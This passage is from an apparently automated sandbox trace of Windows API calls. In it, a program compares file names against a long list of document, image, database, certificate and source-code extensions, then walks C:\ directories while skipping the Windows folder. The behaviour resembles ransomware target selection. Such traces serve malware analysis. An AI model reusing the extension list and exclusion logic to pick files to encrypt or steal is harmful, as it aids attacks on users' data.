[0060.956] lstrlenW (lpString=".der") returned 4 [0060.956] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dib") returned 4 [0060.956] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dic") returned 4 [0060.956] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dif") returned 4 [0060.956] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".divx") returned 5 [0060.956] lstrcmpiW (lpString1=".divx", lpString2="E.dll") returned -1 [0060.956] lstrlenW (lpString=".djvu") returned 5 [0060.956] lstrcmpiW (lpString1=".djvu", lpString2="E.dll") returned -1 [0060.956] lstrlenW (lpString=".dng") returned 4 [0060.956] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0060.956] lstrlenW (lpString=".doc") returned 4 [0060.957] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".docm") returned 5 [0060.957] lstrcmpiW (lpString1=".docm", lpString2="E.dll") returned -1 [0060.957] lstrlenW (lpString=".docx") returned 5 [0060.957] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0060.957] lstrlenW (lpString=".dot") returned 4 [0060.957] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".dotm") returned 5 [0060.957] lstrcmpiW (lpString1=".dotm", lpString2="E.dll") returned -1 [0060.957] lstrlenW (lpString=".dotx") returned 5 [0060.957] lstrcmpiW (lpString1=".dotx", lpString2="E.dll") returned -1 [0060.957] lstrlenW (lpString=".dpx") returned 4 [0060.957] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".dqy") returned 4 [0060.957] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".dsn") returned 4 [0060.957] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".dt") returned 3 [0060.957] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0060.957] lstrlenW (lpString=".dtd") returned 4 [0060.957] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".dwg") returned 4 [0060.957] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".dwt") returned 4 [0060.957] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".dx") returned 3 [0060.957] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0060.957] lstrlenW (lpString=".dxf") returned 4 [0060.957] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".edml") returned 5 [0060.957] lstrcmpiW (lpString1=".edml", lpString2="E.dll") returned -1 [0060.957] lstrlenW (lpString=".efd") returned 4 [0060.957] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".elf") returned 4 [0060.957] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0060.957] lstrlenW (lpString=".emf") returned 4 [0060.958] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".emz") returned 4 [0060.958] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".epf") returned 4 [0060.958] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".eps") returned 4 [0060.958] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".epsf") returned 5 [0060.958] lstrcmpiW (lpString1=".epsf", lpString2="E.dll") returned -1 [0060.958] lstrlenW (lpString=".epsp") returned 5 [0060.958] lstrcmpiW (lpString1=".epsp", lpString2="E.dll") returned -1 [0060.958] lstrlenW (lpString=".erf") returned 4 [0060.958] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".exr") returned 4 [0060.958] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".f4v") returned 4 [0060.958] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".fido") returned 5 [0060.958] lstrcmpiW (lpString1=".fido", lpString2="E.dll") returned -1 [0060.958] lstrlenW (lpString=".flm") returned 4 [0060.958] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".flv") returned 4 [0060.958] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".frm") returned 4 [0060.958] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".fxg") returned 4 [0060.958] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".geo") returned 4 [0060.958] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".gif") returned 4 [0060.958] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".grs") returned 4 [0060.958] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0060.958] lstrlenW (lpString=".gz") returned 3 [0060.958] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0060.958] lstrlenW (lpString=".h") returned 2 [0060.959] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0060.959] lstrlenW (lpString=".hdr") returned 4 [0060.959] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".hpp") returned 4 [0060.959] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".hta") returned 4 [0060.959] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".htc") returned 4 [0060.959] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".htm") returned 4 [0060.959] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".html") returned 5 [0060.959] lstrcmpiW (lpString1=".html", lpString2="E.dll") returned -1 [0060.959] lstrlenW (lpString=".icb") returned 4 [0060.959] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".ics") returned 4 [0060.959] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".iff") returned 4 [0060.959] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".inc") returned 4 [0060.959] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".indd") returned 5 [0060.959] lstrcmpiW (lpString1=".indd", lpString2="E.dll") returned -1 [0060.959] lstrlenW (lpString=".ini") returned 4 [0060.959] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".iqy") returned 4 [0060.959] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".j2c") returned 4 [0060.959] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".j2k") returned 4 [0060.959] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".java") returned 5 [0060.959] lstrcmpiW (lpString1=".java", lpString2="E.dll") returned -1 [0060.959] lstrlenW (lpString=".jp2") returned 4 [0060.959] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0060.959] lstrlenW (lpString=".jpc") returned 4 [0060.959] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".jpe") returned 4 [0060.960] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".jpeg") returned 5 [0060.960] lstrcmpiW (lpString1=".jpeg", lpString2="E.dll") returned -1 [0060.960] lstrlenW (lpString=".jpf") returned 4 [0060.960] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".jpg") returned 4 [0060.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".jpx") returned 4 [0060.960] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".js") returned 3 [0060.960] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0060.960] lstrlenW (lpString=".jsf") returned 4 [0060.960] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".json") returned 5 [0060.960] lstrcmpiW (lpString1=".json", lpString2="E.dll") returned -1 [0060.960] lstrlenW (lpString=".jsp") returned 4 [0060.960] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".kdc") returned 4 [0060.960] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".kmz") returned 4 [0060.960] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".kwm") returned 4 [0060.960] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".lasso") returned 6 [0060.960] lstrcmpiW (lpString1=".lasso", lpString2="BE.dll") returned -1 [0060.960] lstrlenW (lpString=".lbi") returned 4 [0060.960] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".lgf") returned 4 [0060.960] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".lgp") returned 4 [0060.960] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".log") returned 4 [0060.960] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0060.960] lstrlenW (lpString=".m1v") returned 4 [0060.961] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".m4a") returned 4 [0060.961] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".m4v") returned 4 [0060.961] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".max") returned 4 [0060.961] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".md") returned 3 [0060.961] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0060.961] lstrlenW (lpString=".mda") returned 4 [0060.961] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mdb") returned 4 [0060.961] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mde") returned 4 [0060.961] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mdf") returned 4 [0060.961] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mdw") returned 4 [0060.961] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mef") returned 4 [0060.961] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mft") returned 4 [0060.961] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mfw") returned 4 [0060.961] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mht") returned 4 [0060.961] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mhtml") returned 6 [0060.961] lstrcmpiW (lpString1=".mhtml", lpString2="BE.dll") returned -1 [0060.961] lstrlenW (lpString=".mka") returned 4 [0060.961] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mkidx") returned 6 [0060.961] lstrcmpiW (lpString1=".mkidx", lpString2="BE.dll") returned -1 [0060.961] lstrlenW (lpString=".mkv") returned 4 [0060.961] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0060.961] lstrlenW (lpString=".mos") returned 4 [0060.962] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".mov") returned 4 [0060.962] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".mp3") returned 4 [0060.962] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".mp4") returned 4 [0060.962] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".mpeg") returned 5 [0060.962] lstrcmpiW (lpString1=".mpeg", lpString2="E.dll") returned -1 [0060.962] lstrlenW (lpString=".mpg") returned 4 [0060.962] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".mpv") returned 4 [0060.962] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".mrw") returned 4 [0060.962] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".msg") returned 4 [0060.962] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".mxl") returned 4 [0060.962] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".myd") returned 4 [0060.962] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".myi") returned 4 [0060.962] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".nef") returned 4 [0060.962] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".nrw") returned 4 [0060.962] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".obj") returned 4 [0060.962] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0060.962] lstrlenW (lpString=".odb") returned 4 [0060.963] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".odc") returned 4 [0060.963] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".odm") returned 4 [0060.963] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".odp") returned 4 [0060.963] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".ods") returned 4 [0060.963] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".oft") returned 4 [0060.963] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".one") returned 4 [0060.963] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".onepkg") returned 7 [0060.963] lstrcmpiW (lpString1=".onepkg", lpString2="OBE.dll") returned -1 [0060.963] lstrlenW (lpString=".onetoc2") returned 8 [0060.963] lstrcmpiW (lpString1=".onetoc2", lpString2="OOBE.dll") returned -1 [0060.963] lstrlenW (lpString=".opt") returned 4 [0060.963] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".oqy") returned 4 [0060.963] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".orf") returned 4 [0060.963] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".p12") returned 4 [0060.963] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".p7b") returned 4 [0060.963] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".p7c") returned 4 [0060.963] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".pam") returned 4 [0060.963] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".pbm") returned 4 [0060.963] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".pct") returned 4 [0060.963] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0060.963] lstrlenW (lpString=".pcx") returned 4 [0060.963] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pdd") returned 4 [0060.964] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pdf") returned 4 [0060.964] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pdp") returned 4 [0060.964] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pef") returned 4 [0060.964] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pem") returned 4 [0060.964] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pff") returned 4 [0060.964] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pfm") returned 4 [0060.964] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pfx") returned 4 [0060.964] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pgm") returned 4 [0060.964] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".php") returned 4 [0060.964] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".php3") returned 5 [0060.964] lstrcmpiW (lpString1=".php3", lpString2="E.dll") returned -1 [0060.964] lstrlenW (lpString=".php4") returned 5 [0060.964] lstrcmpiW (lpString1=".php4", lpString2="E.dll") returned -1 [0060.964] lstrlenW (lpString=".php5") returned 5 [0060.964] lstrcmpiW (lpString1=".php5", lpString2="E.dll") returned -1 [0060.964] lstrlenW (lpString=".phtml") returned 6 [0060.964] lstrcmpiW (lpString1=".phtml", lpString2="BE.dll") returned -1 [0060.964] lstrlenW (lpString=".pict") returned 5 [0060.964] lstrcmpiW (lpString1=".pict", lpString2="E.dll") returned -1 [0060.964] lstrlenW (lpString=".pl") returned 3 [0060.964] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0060.964] lstrlenW (lpString=".pls") returned 4 [0060.964] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0060.964] lstrlenW (lpString=".pm") returned 3 [0060.964] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0060.965] lstrlenW (lpString=".png") returned 4 [0060.965] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".pnm") returned 4 [0060.965] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".pot") returned 4 [0060.965] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".potm") returned 5 [0060.965] lstrcmpiW (lpString1=".potm", lpString2="E.dll") returned -1 [0060.965] lstrlenW (lpString=".potx") returned 5 [0060.965] lstrcmpiW (lpString1=".potx", lpString2="E.dll") returned -1 [0060.965] lstrlenW (lpString=".ppa") returned 4 [0060.965] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".ppam") returned 5 [0060.965] lstrcmpiW (lpString1=".ppam", lpString2="E.dll") returned -1 [0060.965] lstrlenW (lpString=".ppm") returned 4 [0060.965] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".pps") returned 4 [0060.965] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".ppsm") returned 5 [0060.965] lstrcmpiW (lpString1=".ppsm", lpString2="E.dll") returned -1 [0060.965] lstrlenW (lpString=".ppt") returned 4 [0060.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".pptm") returned 5 [0060.965] lstrcmpiW (lpString1=".pptm", lpString2="E.dll") returned -1 [0060.965] lstrlenW (lpString=".pptx") returned 5 [0060.965] lstrcmpiW (lpString1=".pptx", lpString2="E.dll") returned -1 [0060.965] lstrlenW (lpString=".prn") returned 4 [0060.965] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".ps") returned 3 [0060.965] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0060.965] lstrlenW (lpString=".psb") returned 4 [0060.965] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".psd") returned 4 [0060.965] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".pst") returned 4 [0060.965] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0060.965] lstrlenW (lpString=".ptx") returned 4 [0060.966] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0060.966] lstrlenW (lpString=".pub") returned 4 [0060.966] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0060.966] lstrlenW (lpString=".pwm") returned 4 [0060.966] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0060.966] lstrlenW (lpString=".pxr") returned 4 [0060.966] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0060.966] lstrlenW (lpString=".py") returned 3 [0060.966] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0060.966] lstrlenW (lpString=".qt") returned 3 [0060.966] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0060.966] lstrlenW (lpString=".r3d") returned 4 [0060.966] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0060.966] FindNextFileW (in: hFindFile=0x582c48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0060.966] FindNextFileW (in: hFindFile=0x582c48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0060.966] FindNextFileW (in: hFindFile=0x582c48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0060.966] FindNextFileW (in: hFindFile=0x582c48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0060.967] FindNextFileW (in: hFindFile=0x582c48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0060.967] FindClose (in: hFindFile=0x582c48 | out: hFindFile=0x582c48) returned 1 [0060.967] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0060.967] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0060.967] FindClose (in: hFindFile=0x582f48 | out: hFindFile=0x582f48) returned 1 [0060.967] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0060.967] FindNextFileW (in: hFindFile=0x583208, lpFindFileData=0x34dfcf8 | out: lpFindFileData=0x34dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0060.967] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0060.967] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0060.967] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x582cc8 [0060.967] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0060.967] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0060.967] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0060.967] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1 [0060.968] lstrlenW (lpString="S-1-5-18") returned 8 [0060.968] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1 [0060.968] RtlAllocateHeap 